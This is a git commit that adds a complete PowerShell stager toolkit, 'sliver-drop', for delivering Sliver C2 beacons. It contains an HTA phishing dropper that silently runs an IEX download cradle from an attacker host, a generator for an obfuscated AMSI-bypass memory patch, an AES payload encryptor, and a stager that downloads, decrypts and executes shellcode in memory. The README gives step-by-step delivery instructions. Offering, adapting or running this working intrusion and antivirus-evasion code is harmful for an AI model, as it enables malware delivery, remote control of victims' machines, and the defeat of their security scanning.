This commit is contained in:
Chaelsoo
2026-06-30 05:29:20 +01:00
commit 74a281b8e9
6 changed files with 219 additions and 0 deletions
+4
View File
@@ -0,0 +1,4 @@
*.bin
amsi.ps1
amsi_rasta.ps1
stager_rasta.ps1
+86
View File
@@ -0,0 +1,86 @@
# sliver-drop
PowerShell stager for Sliver beacons. Downloads an AES-256-CBC encrypted beacon over HTTP, decrypts it in memory, and executes it via a function pointer delegate without touching disk. Includes an AMSI patch to neutralize the scanner in the PowerShell process before the payload runs.
The HTA delivery method documented here is one option. The stager itself works with any delivery that can run a PowerShell download cradle: macro, scheduled task, WinRM, living-off-the-land, whatever fits the engagement.
## Flow
**1. Generate the beacon in Sliver**
```
profiles new --format shellcode --mtls LHOST:443 --skip-symbols beacon-profile
generate --save beacon.bin
```
Specify the port explicitly in `--mtls`. Omitting it defaults to 8888, not 443.
**2. Encrypt the beacon**
```
python3 encrypt.py beacon.bin beacon_enc.bin
```
Prints the key and IV. Copy both into `stager.ps1` under the config block.
**3. Generate a fresh AMSI patch**
```
python3 gen_amsi.py --url http://LHOST/stager.ps1 > amsi.ps1
```
Each run produces a new random XOR key, so the output differs every time. The `--url` flag appends the IEX download cradle for `stager.ps1` at the end.
**4. Update config values**
In `stager.ps1`, set `$LHOST` and paste the key and IV from step 2.
In `delivery.hta`, set `LHOST` if using HTA delivery.
**5. Serve the files**
```
sudo python3 -m http.server 80
```
The target needs to reach `beacon_enc.bin`, `stager.ps1`, and `amsi.ps1` at the same host.
**6. Trigger execution on the target**
The entry point is `amsi.ps1`. Deliver it however fits the engagement:
```powershell
IEX(New-Object Net.WebClient).DownloadString('http://LHOST/amsi.ps1')
```
Or via the included HTA dropper, which wraps that cradle in a VBScript `Window_onLoad` handler so it fires the moment `mshta.exe` opens the file.
**7. Start the mTLS listener in Sliver**
```
mtls --lhost LHOST --lport 443
```
## HTA delivery
`delivery.hta` is a phishing delivery vector. Send the target a link to `http://LHOST/delivery.hta` and `mshta.exe` will open it, fire the PowerShell cradle silently, and close the window. Update `LHOST` in the file before use.
## Files
| File | Purpose |
|---|---|
| `delivery.hta` | Optional HTA dropper, update LHOST |
| `amsi.ps1` | Generated AMSI patch, do not commit |
| `stager.ps1` | Stager template, update LHOST, key, IV |
| `encrypt.py` | Encrypts a payload, prints key and IV |
| `gen_amsi.py` | Generates a fresh obfuscated AMSI patch |
`*.bin` files and `amsi.ps1` are gitignored. Regenerate both per engagement.
## Notes
The AMSI patch writes `mov eax, 0x80070057; ret` over `AmsiScanBuffer` in the current process, making it return `E_INVALIDARG` and skip the scan. The entire P/Invoke definition is XOR obfuscated so no plaintext signatures appear in the script.
Execution uses `Marshal.GetDelegateForFunctionPointer` rather than `CreateThread`, which avoids the thread creation event and keeps execution on the calling thread.
Memory is allocated RW, the beacon is copied in, then flipped to RX before execution. No RWX region is ever created.
+15
View File
@@ -0,0 +1,15 @@
<html>
<head>
<!-- update LHOST below before use -->
<script language="VBScript">
Sub Window_onLoad
Dim LHOST : LHOST = "10.10.14.29"
Set shell = CreateObject("Wscript.Shell")
shell.Run "powershell -w hidden -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://" & LHOST & "/amsi.ps1')""", 0, False
window.close
End Sub
</script>
</head>
<body>
</body>
</html>
+27
View File
@@ -0,0 +1,27 @@
#!/usr/bin/env python3
# AES-256-CBC encrypt a payload for use with stager.ps1.
# Usage: python3 encrypt.py <payload.bin> <output_enc.bin>
# Copy the printed key and IV into stager.ps1.
import os, sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <payload.bin> <output_enc.bin>")
sys.exit(1)
key = os.urandom(32)
iv = os.urandom(16)
with open(sys.argv[1], 'rb') as f:
data = f.read()
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(data, AES.block_size))
with open(sys.argv[2], 'wb') as f:
f.write(encrypted)
print(f"[+] {len(data)} bytes -> {len(encrypted)} bytes encrypted")
print(f"[+] key = {key.hex()}")
print(f"[+] iv = {iv.hex()}")
+36
View File
@@ -0,0 +1,36 @@
#!/usr/bin/env python3
# Generates an XOR-obfuscated PowerShell AMSI patch.
# Usage: python3 gen_amsi.py [--url http://LHOST/stager.ps1]
# Pipe output to amsi.ps1 or pass --url to auto-add the IEX download cradle.
import secrets, argparse
parser = argparse.ArgumentParser()
parser.add_argument('--url', help='URL to IEX after patching AMSI (e.g. http://LHOST/stager.ps1)')
args = parser.parse_args()
k = secrets.randbelow(200) + 10
def enc(s):
return ','.join(str(ord(c) ^ k) for c in s)
def enc_bytes(b):
return ','.join(str(x ^ k) for x in b)
cs = ('using System;using System.Runtime.InteropServices;'
'public class A{'
'[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr h,string n);'
'[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string n);'
'[DllImport("kernel32")]public static extern bool WriteProcessMemory(IntPtr h,IntPtr a,byte[] b,int n,out int w);}')
# mov eax, 0x80070057 ; ret, AmsiScanBuffer returns E_INVALIDARG
patch = [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
print(f"$k=0x{k:02X}")
print(f"Add-Type -TypeDefinition (-join(@({enc(cs)})|%{{[char]($_-bxor$k)}}))")
print(f"$h=[A]::LoadLibrary((-join(@({enc('amsi.dll')})|%{{[char]($_-bxor$k)}})))")
print(f"$a=[A]::GetProcAddress($h,(-join(@({enc('AmsiScanBuffer')})|%{{[char]($_-bxor$k)}})))")
print(f"$p=[byte[]](@({enc_bytes(patch)})|%{{$_-bxor$k}})")
print(f"$w=0;[A]::WriteProcessMemory(-1,$a,$p,6,[ref]$w)")
if args.url:
print(f"\nIEX(New-Object Net.WebClient).DownloadString('{args.url}')")
+51
View File
@@ -0,0 +1,51 @@
$code = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32")]
public static extern void RtlMoveMemory(IntPtr dest, byte[] src, uint size);
public delegate void ShellcodeDelegate();
public static void Execute(IntPtr addr) {
ShellcodeDelegate fn = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(addr, typeof(ShellcodeDelegate));
fn();
}
}
"@
Add-Type -TypeDefinition $code
function hx($h) { $b = New-Object byte[] ($h.Length/2); for($i=0;$i -lt $h.Length;$i+=2){$b[$i/2]=[Convert]::ToByte($h.Substring($i,2),16)}; $b }
# --- config: update before use ---
$LHOST = "10.10.14.29"
$key = hx "REPLACE_WITH_KEY_FROM_ENCRYPT_PY"
$iv = hx "REPLACE_WITH_IV_FROM_ENCRYPT_PY"
# ---------------------------------
$encrypted = (New-Object Net.WebClient).DownloadData("http://$LHOST/beacon_enc.bin")
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$decryptor = $aes.CreateDecryptor()
$bytes = $decryptor.TransformFinalBlock($encrypted, 0, $encrypted.Length)
$addr = [Win32]::VirtualAlloc([IntPtr]::Zero, [uint32]$bytes.Length, 0x3000, 0x04)
[Win32]::RtlMoveMemory($addr, $bytes, [uint32]$bytes.Length)
$oldProt = 0
[Win32]::VirtualProtect($addr, [uint32]$bytes.Length, 0x20, [ref]$oldProt) | Out-Null
[Win32]::Execute($addr)